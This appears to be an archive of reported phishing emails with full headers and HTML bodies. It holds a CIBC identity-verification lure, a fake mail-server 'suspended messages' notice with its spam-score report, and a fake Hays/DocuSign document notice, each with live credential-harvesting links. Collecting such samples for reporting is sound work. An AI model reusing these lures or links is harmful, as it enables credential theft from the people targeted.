c2Zvcm06bm9uZTtwYWRkaW5nOjEzcHggMzBweDtib3JkZXItcmFkaXVzOjRweDsiIHRhcmdldD0i

X2JsYW5rIj5WZXJpZnkgeW91ciBpZGVudGl0eTwvYT48L3NwYW4+PC9zdHJvbmc+PC9kaXY+DQo8

ZGl2PiYjeEEwOzwvZGl2Pg0KPGJyPjxicj4NCjxkaXY+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTog

MTRweDsiPlBsZWFzZSBkb24ndCByZXBseSB0byB0aGlzIGVtYWlsLiBJZiB5b3UgaGF2ZSBhbnkg

cXVlc3Rpb25zLCBjb250YWN0IE9ubGluZSBDdXN0b21lciBTdXBwb3J0IGF0IDEtODg4LTg3Mi0y

NDIyLjwvc3Bhbj48L2Rpdj4NCjxkaXY+PGJyPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE0cHg7

Ij5TaW5jZXJlbHksJiN4QTA7PC9zcGFuPjwvZGl2Pg0KPGRpdj48c3BhbiBzdHlsZT0iZm9udC1z

aXplOiAxNHB4OyI+Q0lCQyBPbmxpbmUgQ3VzdG9tZXIgU3VwcG9ydCA8L3NwYW4+PGJyPjwvZGl2

Pg0KPC9kaXY+DQogICAgICA8L2Rpdj4NCiAgICANCiAgICAgICAgICAgICAgPC90ZD4NCiAgICAg

ICAgICAgIDwvdHI+DQogICAgICAgICAgDQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAg

IDx0ZCBzdHlsZT0iZm9udC1zaXplOjBweDtwYWRkaW5nOjEwcHggMjVweDtwYWRkaW5nLXRvcDox

MHB4O3BhZGRpbmctcmlnaHQ6MTBweDt3b3JkLWJyZWFrOmJyZWFrLXdvcmQ7Ij4NCiAgICAgICAg

ICAgICAgICANCiAgICAgIDxwIHN0eWxlPSJib3JkZXItdG9wOnNvbGlkIDFweCAjMDAwMDAwO2Zv

bnQtc2l6ZToxO21hcmdpbjowcHggYXV0bzt3aWR0aDoxMDAlOyI+DQogICAgICA8L3A+DQogICAg

ICANCiAgICAgIDwhLS1baWYgbXNvIHwgSUVdPg0KICAgICAgICA8dGFibGUNCiAgICAgICAgICAg

YWxpZ249ImNlbnRlciIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi

IHN0eWxlPSJib3JkZXItdG9wOnNvbGlkIDFweCAjMDAwMDAwO2ZvbnQtc2l6ZToxO21hcmdpbjow

cHggYXV0bzt3aWR0aDo1NjVweDsiIHJvbGU9InByZXNlbnRhdGlvbiIgd2lkdGg9IjU2NXB4Ig0K

ICAgICAgICA+DQogICAgICAgICAgPHRyPg0KICAgICAgICAgICAgPHRkIHN0eWxlPSJoZWlnaHQ6

MDtsaW5lLWhlaWdodDowOyI+DQogICAgICAgICAgICAgICZuYnNwOw0KICAgICAgICAgICAgPC90

ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KICAgICAgPCFbZW5kaWZdLS0+

DQogICAgDQogICAgDQogICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAg

ICAgICAgIA0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQi

IHN0eWxlPSJmb250LXNpemU6MHB4O3BhZGRpbmc6MTVweCAxNXB4IDE1cHggMTVweDt3b3JkLWJy

ZWFrOmJyZWFrLXdvcmQ7Ij4NCiAgICAgICAgICAgICAgICANCiAgICAgIDxkaXYgc3R5bGU9ImZv

bnQtZmFtaWx5OlVidW50dSwgSGVsdmV0aWNhLCBBcmlhbCwgc2Fucy1zZXJpZjtmb250LXNpemU6

MTFweDtsaW5lLWhlaWdodDoxLjU7dGV4dC1hbGlnbjpsZWZ0O2NvbG9yOiMwMDAwMDA7Ij4NCiAg

ICAgICAgPHA+Q2FuYWRpYW4gSW1wZXJpYWwgQmFuayBvZiBDb21tZXJjZSBXZWJzaXRlIC0gQ29w

eXJpZ2h0IMKpIENJQkMuPC9wPg0KICAgICAgPC9kaXY+DQogICAgDQogICAgICAgICAgICAgIDwv

dGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgIA0KICAgICAgPC90Ym9keT48L3RhYmxl

Pg0KICAgIA0KICAgICAgPC9kaXY+DQogICAgDQogICAgICAgICAgPCEtLVtpZiBtc28gfCBJRV0+

DQogICAgICAgICAgICA8L3RkPg0KICAgICAgICAgIA0KICAgICAgICA8L3RyPg0KICAgICAgDQog

ICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgIDwhW2VuZGlmXS0tPg0K

ICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICA8L3Rib2R5

Pg0KICAgICAgICA8L3RhYmxlPg0KICAgICAgICANCiAgICAgIDwvZGl2Pg0KICAgIA0KICAgICAg

DQogICAgICA8IS0tW2lmIG1zbyB8IElFXT4NCiAgICAgICAgICA8L3RkPg0KICAgICAgICA8L3Ry

Pg0KICAgICAgPC90YWJsZT4NCiAgICAgIDwhW2VuZGlmXS0tPg0KICAgIA0KICAgIA0KICAgICAg

PC9kaXY+DQogICAgDQogICAgICANCiAgICANCiAgPC9ib2R5PjwvaHRtbD4=







--b1_fd2d8e0f9911395b4680d4a21bfa6953--



ovh credential phishing

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:36:13 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSO8-00000000Anv-2m23

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:23:36 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:23:36 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from vps-72fa32de.vps.ovh.us ([15.204.8.197]:34908)

by doctor.nl2k.ab.ca with esmtp (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGPC0-00000000LxU-20PN

for sales@nk.ca;

Thu, 21 Dec 2023 12:58:56 -0700

Received: from secure.net (localhost [IPv6:::1])

by vps-72fa32de.vps.ovh.us (Postfix) with ESMTP id CFB204EF58C

for ; Thu, 21 Dec 2023 19:37:57 +0000 (UTC)

From: "sales@nk.ca"

To: sales@nk.ca

Subject: You have (3) Suspended incoming messages

Date: 21 Dec 2023 11:37:57 -0800

Message-ID: <20231221113757.02A430DBF1157F12@secure.net>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 15.0

X-Spam_score_int: 150

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: From nk.ca Server You have (3) messages pending on your email

storage server as at 12/21/2023 11:37:57 a.m. User ID: sales@nk.ca



Content analysis details: (15.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.9 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL blocklist

[URI: jrrnmpelmi.ii1l.autos]

[URI: pub-733b6001799640539b97952d6392594f.r2.dev]

1.9 URIBL_JP_SURBL Contains an URL listed in the JP SURBL blocklist

[URI: ii1l.autos]

1.3 URI_HEX URI: URI hostname has long hexadecimal sequence

1.5 HTTP_EXCESSIVE_ESCAPES URI: Completely unnecessary %-escapes inside a

URL

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 HTML_MESSAGE BODY: HTML included in message

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

-0.0 T_SCC_BODY_TEXT_LINE No description available.

0.4 NAME_EMAIL_DIFF Sender NAME is an unrelated email address

0.7 PDS_FROM_2_EMAILS From header has multiple different addresses

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

1.6 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} You have (3) Suspended incoming messages

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean




w3.org/TR/html4/loose.dtd">










Tahoma, Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; =

WIDTH: 700px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-=

WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=

R: rgb(0,0,0); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=

l; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px;=20

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial; font-variant-num=

eric: inherit; font-variant-east-asian: inherit; font-stretch: inherit">


ONT-FAMILY: inherit; BORDER-RIGHT: rgb(211,211,211) 1px dotted; BORDER-COLL=

APSE: collapse; BORDER-BOTTOM: rgb(211,211,211) 1px dotted; COLOR: rgb(51,5=

1,51); BORDER-LEFT: rgb(211,211,211) 1px dotted; font-stretch: inherit">








solid; WIDTH: 2px; BORDER-BOTTOM: rgb(0,0,0) 0px solid; COLOR: rgb(0,0,0);=

PADDING-BOTTOM: 5px; PADDING-TOP: 5px; PADDING-LEFT: 5px; BORDER-LEFT: rgb=

(0,0,0) 0px solid; PADDING-RIGHT: 5px; BACKGROUND-COLOR: rgb(2,151,64)">
NT size=3D1> 

solid; WIDTH: 665px; BORDER-BOTTOM: rgb(0,0,0) 0px solid; COLOR: rgb(0,0,0=

); PADDING-BOTTOM: 5px; PADDING-TOP: 5px; PADDING-LEFT: 5px; BORDER-LEFT: r=

gb(0,0,0) 0px solid; MARGIN: 0px; PADDING-RIGHT: 5px; BACKGROUND-COLOR: rgb=

(243,255,248)">


IDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT:=

bolder; COLOR: ; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px;=

MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; font-stretch: inhe=

rit">From nk.ca Server



Tahoma, Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; =

WIDTH: 700px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-=

WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=

R: rgb(0,0,0); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=

l; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px;=20

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial; font-variant-num=

eric: inherit; font-variant-east-asian: inherit; font-stretch: inherit">
>



Tahoma, Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; =

WIDTH: 700px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-=

WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=

R: rgb(0,0,0); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=

l; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px;=20

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial; font-variant-num=

eric: inherit; font-variant-east-asian: inherit; font-stretch: inherit">You=

have (3) messages pending on your email stora=

ge server as at 12/21/2023 11:37:57 a.m.



Tahoma, Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; =

WIDTH: 700px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-=

WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=

R: rgb(0,0,0); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=

l; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px;=20

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial; font-variant-num=

eric: inherit; font-variant-east-asian: inherit; font-stretch: inherit">
>



Tahoma, Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; =

WIDTH: 700px; VERTICAL-ALIGN: baseline; WHITE-SPACE: normal; BORDER-BOTTOM-=

WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLO=

R: rgb(0,0,0); PADDING-BOTTOM: 0px; FONT-STYLE: normal; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: norma=

l; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px;=20

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial; font-variant-num=

eric: inherit; font-variant-east-asian: inherit; font-stretch: inherit">


IDTH: 0px; VERTICAL-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; FONT-WEIGHT:=

bolder; COLOR: ; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px;=

MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; font-stretch: inhe=

rit"> User ID:  
sales@nk.ca

aria-hidden=3Dtrue>



sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: bas=

eline; WHITE-SPACE: normal; BORDER-BOTTOM-WIDTH: 0px; WORD-SPACING: 0px; TE=

XT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); PADDING-BOTTOM:=

0px; FONT-STYLE: normal; PADDING-TOP: 0px; PADDING-LEFT: 0px; ORPHANS: 2; =

WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BORDER-=

TOP-WIDTH: 0px; TEXT-INDENT: 0px;=20

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial; font-variant-numeric: inherit; fon=

t-variant-east-asian: inherit; font-stretch: inherit">


    ING-LEFT: 30px; PADDING-RIGHT: 30px">




  1. : baseline; BACKGROUND: rgb(80,110,216); BORDER-BOTTOM-WIDTH: 0px; COLOR: r=

    gb(255,255,255); PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 10p=

    x; MARGIN: 0px; PADDING-RIGHT: 10px; BORDER-TOP-WIDTH: 0px; text-decoration=

    -line: none" href=3D"https://pub-733b6001799640539b97952d6392594f.r2.dev/en=

    dofyearupdates.html?clientID=3Dsales@nk.ca" rel=3D"nofollow noopener norefe=

    rrer" target=3D_blank=20

    data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://api.viglink.=

    com/api/click?sbieexhdkuaphrpijkut%26out%3D%2568%2574%2574%2570%253Aehppfya=

    fzt%252E%2569%2569%2531%256C%252E%2561%2575%2574%256F%2573%252Fbrzpz/dh/YVc=

    1bWIwQmhZM1JwYjI1aVlXY3VZMjl0OmllcnFramJsZWg%3D%26key%3Dfd5de1d096b38be9fff=

    d6ddc1948df4f&source=3Dgmail&ust=3D1702039472695000&usg=3DAOvVa=

    w1oPHDOGW44s8_qJRU3r2CL">Authorize delivery of pending mails


    dden=3Dtrue>






  2. : baseline; BACKGROUND: rgb(212,0,0); BORDER-BOTTOM-WIDTH: 0px; COLOR: rgb(=

    255,255,255); PADDING-BOTTOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 10px; =

    MARGIN: 0px; PADDING-RIGHT: 10px; BORDER-TOP-WIDTH: 0px; text-decoration-li=

    ne: none" href=3D"https://pub-733b6001799640539b97952d6392594f.r2.dev/endof=

    yearupdates.html?clientID=3Dsales@nk.ca" rel=3D"nofollow noopener noreferre=

    r" target=3D_blank=20

    data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://api.viglink.=

    com/api/click?lanoygsbykdtvsfatkoe%26out%3D%2568%2574%2574%2570%253Azszvftx=

    nxg%252E%2569%2569%2531%256C%252E%2561%2575%2574%256F%2573%252Fucuyy/ht/YVc=

    1bWIwQmhZM1JwYjI1aVlXY3VZMjl0OmxqeXdlcHJiemQ%3D%26key%3Dfd5de1d096b38be9fff=

    d6ddc1948df4f&source=3Dgmail&ust=3D1702039472695000&usg=3DAOvVa=

    w0fVUgjcyqX9NJBmdMAVcTV">Report error to an IT Help Desk



erif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; =

BORDER-BOTTOM-WIDTH: 0px; COLOR: ; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; P=

ADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; f=

ont-stretch: inherit">


Helvetica, sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; VERTICAL=

-ALIGN: baseline; BORDER-BOTTOM-WIDTH: 0px; COLOR: ; PADDING-BOTTOM: 0px; P=

ADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER=

-TOP-WIDTH: 0px; font-stretch: inherit">


i, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: baseline; BOR=

DER-BOTTOM-WIDTH: 0px; COLOR: rgb(0,0,0); PADDING-BOTTOM: 0px; PADDING-TOP:=

0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH:=

0px; font-stretch: inherit">*You will receive pending emails after s=

uccessful login via email portal. We apologize for the inconvenience.
>







f, EmojiFont; BORDER-RIGHT-WIDTH: 0px; WIDTH: 700px; VERTICAL-ALIGN: baseli=

ne; BORDER-BOTTOM-WIDTH: 0px; COLOR: rgb(44,54,58); PADDING-BOTTOM: 0px; PA=

DDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 30px 0px 0px; PADDING-RIGHT: 0px=

; BORDER-TOP-WIDTH: 0px; font-variant-numeric: inherit; font-variant-east-a=

sian: inherit; font-stretch: inherit">



ible; BORDER-RIGHT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; MIN-HEIGHT: 0px">




sans-serif, serif, EmojiFont; BORDER-RIGHT-WIDTH: 0px; VERTICAL-ALIGN: bas=

eline; BORDER-BOTTOM-WIDTH: 0px; COLOR: rgb(131,130,130); PADDING-BOTTOM: 0=

px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 10px 0px 0px; LINE-HEIGHT:=

2; PADDING-RIGHT: 0px; BORDER-TOP-WIDTH: 0px; font-variant-numeric: inheri=

t; font-variant-east-asian: inherit; font-stretch: inherit">Messag=

e Encrypted by 
nk.ca


   © All Rights Reserved.  &=

nbsp;| If you do not wish to receive this message   



N: baseline; BORDER-BOTTOM-WIDTH: 0px; COLOR: rgb(0,102,147); PADDING-BOTTO=

M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=

x; BORDER-TOP-WIDTH: 0px; BACKGROUND-COLOR: transparent; text-decoration-li=

ne: none"=20

href=3D"https://api.viglink.com/api/click?qhrylgkmmjjgntphcjgz&out=3D%6=

8%74%74%70%3Ajrrnmpelmi%2E%69%69%31%6C%2E%61%75%74%6F%73%2Fmbolk/xj/YVc1bWI=

wQmhZM1JwYjI1aVlXY3VZMjl0Om12aXV0dHVkaHE=3D&key=3Dfd5de1d096b38be9fffd6=

ddc1948df4f" rel=3D"nofollow noopener noreferrer" target=3D_blank=20

data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://api.viglink.=

com/api/click?qhrylgkmmjjgntphcjgz%26out%3D%2568%2574%2574%2570%253Ajrrnmpe=

lmi%252E%2569%2569%2531%256C%252E%2561%2575%2574%256F%2573%252Fmbolk/xj/YVc=

1bWIwQmhZM1JwYjI1aVlXY3VZMjl0Om12aXV0dHVkaHE%3D%26key%3Dfd5de1d096b38be9fff=

d6ddc1948df4f&source=3Dgmail&ust=3D1702039472695000&usg=3DAOvVa=

w0Dtn3SjYfmmmaRsX7EzaAe">Unsubscribe.

ODY>

Hays Canada Phish from dynamic1001.com

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:37:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSNb-00000000AnO-1bVL

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:23:03 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:23:03 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mx.dynamic1001.com ([88.198.227.148]:55318)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGOCD-00000000H5g-035a

for doctor@nk.ca;

Thu, 21 Dec 2023 11:55:05 -0700

Received: from localhost (localhost [127.0.0.1])

by mx.dynamic1001.com (Postfix) with ESMTP id 05265E5F53

for ; Thu, 21 Dec 2023 19:52:55 +0100 (CET)

Received: from mx.dynamic1001.com ([127.0.0.1])

by localhost (mx.dynamic1001.com [127.0.0.1]) (amavisd-new, port 10032)

with ESMTP id 53vWEXDgtaRK for ;

Thu, 21 Dec 2023 19:52:53 +0100 (CET)

Received: from localhost (localhost [127.0.0.1])

by mx.dynamic1001.com (Postfix) with ESMTP id 8A35BE5F56

for ; Thu, 21 Dec 2023 19:52:53 +0100 (CET)

X-Virus-Scanned: amavisd-new at mx.dynamic1001.com

Received: from mx.dynamic1001.com ([127.0.0.1])

by localhost (mx.dynamic1001.com [127.0.0.1]) (amavisd-new, port 10026)

with ESMTP id zBZj_xjXubMO for ;

Thu, 21 Dec 2023 19:52:53 +0100 (CET)

Received: from [127.0.0.1] (unknown [52.229.105.226])

by mx.dynamic1001.com (Postfix) with ESMTPSA id F22F7E5F53

for ; Thu, 21 Dec 2023 19:52:52 +0100 (CET)

Date: Thu, 21 Dec 2023 18:52:52 +0000

Subject: New Document Delivered

Message-ID:

From: "Hays - Recruitment Agency"

To: doctor@nk.ca

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="--_com.android.email_5239681876470"

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



----_com.android.email_5239681876470

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





=20



=20



Hello,

this email is to notify you that new documents have been delivered to =

your Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he=

alth_safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents=

=2E

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://telegrambot.btisdev.com/wafting/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share thi=

s email, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and =

legally binding. Whether you're in an office, at home, on-the-go -- or=

even across the globe -- DocuSign provides a professional trusted sol=

ution for Digital Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details=

in the document, please reach out to the sender by emailing them dire=

ctly.

This message was sent to you by Hays who is using the DocuSign Electro=

nic Signature Service. If you would rather not receive email from this=

sender you may contact the sender with your request.

=20



----_com.android.email_5239681876470

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable








pe" />





Hays job offer




ca,Arial,Sans Serif;">


0" dir=3D"" role=3D"presentation" width=3D"100%">















 


llapse:collapse;background-color:#ffffff;max-width:640px;">











































 





3D"DocuSign"
ok/assets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />=








Hello,





this email is to notify you that new documents have been deli=

vered to your Docusign (HAYS)
lass=3D"d-inline font-weight-bold">Premium
;">s
FilesTransfer
yle=3D"color:#FFFFFF;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.=

pdf, salary_g.pdf, c=

alculation.pdf, health_safety.pdf,
s=3D"pdf-name">legisl_req.pdf, policies.pdf,

an>
recruitm_agent.pdf





There are a total of 8 documents. Log in below to read these =

documents.





Best regards,





Hays


 








3D""
email/Email_Logo.png" style=3D"width: 116px; height: 34px; float: righ=

t;" />






ng=3D"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color=

:#FFFFFF;" width=3D"100%">












der-radius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;f=

ont-family:Helvetica,Arial,Sans Serif;width:100%;text-align:center;"><=

img alt=3D"" height=3D"75" src=3D"https://www.docusign.net/member/Imag=

es/email/docComplete-white.png" style=3D"width:75px;height:75px;" widt=

h=3D"75" />


"presentation" width=3D"100%">










6px;font-family:Helvetica,Arial,Sans Serif;border:none;text-align:cent=

er;color:#FFFFFF">Your documents have been completed and sent to you
td>






"presentation" width=3D"100%">




























4px;color:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial=

,Sans Serif;font-weight:bold;text-align:center;text-decoration:none;;b=

order-radius:2px;border: 1px solid #FFFFFF;background-color:#1e4ca1;he=

ight:100%;display:block;">
afting/?a=3DID2119" target=3D"_blank">
">
style=3D"color:#FFFFFF;">VIEW COMPLETED DOCUMENTS









16px;font-family:Helvetica,Arial,Sans Serif;background-color:white;">


presentation">














ght:bold;line-height:18px;font-size:15px;color:#333333;">Hays sent thi=

s email to:





ght:18px;font-size:15px;color:#666666;">doctor@nk.ca







rial,Sans Serif;line-height:20px;"> 




;font-family:Helvetica,Arial,Sans Serif;font-size:11px;color:#666666;"=


A;">


erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Do Not Share This Email



This email contains a secure link to DocuSign. Please do not sha=

re this email, link, or access code with others.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">About DocuSign



Sign documents electronically in just minutes. It's safe, se=

cure, and legally binding. Whether you're in an office, at home, o=

n-the-go -- or even across the globe -- DocuSign provides a profession=

al trusted solution for Digital Transaction Management™.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Questions about the Document?



If you need to modify the document or have questions about the d=

etails in the document, please reach out to the sender by emailing the=

m directly.






erif;font-size:13px;color:#666666;line-height:18px;">This message was =

sent to you by Hays who is using the DocuSign Electronic Signature Ser=

vice. If you would rather not receive email from this sender you may c=

ontact the sender with your request.




A;"> 


 





p=3D"text" />





/>





----_com.android.email_5239681876470--



Hays Canada Phish from mx081.host-services.com

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:37:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSMm-00000000Aig-0xXY

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:22:12 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:22:12 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mx081.host-services.com ([91.198.47.203]:51825)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGNjb-00000000F3t-14hz

for doctor@nk.ca;

Thu, 21 Dec 2023 11:25:34 -0700

Received: from cpanel32.dnscpanel.com ([94.126.169.135])

by mx08.host-services.com with esmtps (TLSv1.2:AES128-GCM-SHA256:128)

(Exim 4.92)

(envelope-from )

id 1rGNhX-005zAi-A5

for doctor@nk.ca; Thu, 21 Dec 2023 18:23:21 +0000

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

d=adv-vilela.pt; s=default; h=Message-ID:Content-Type:Date:Subject:From:To:

MIME-Version:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:

Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc

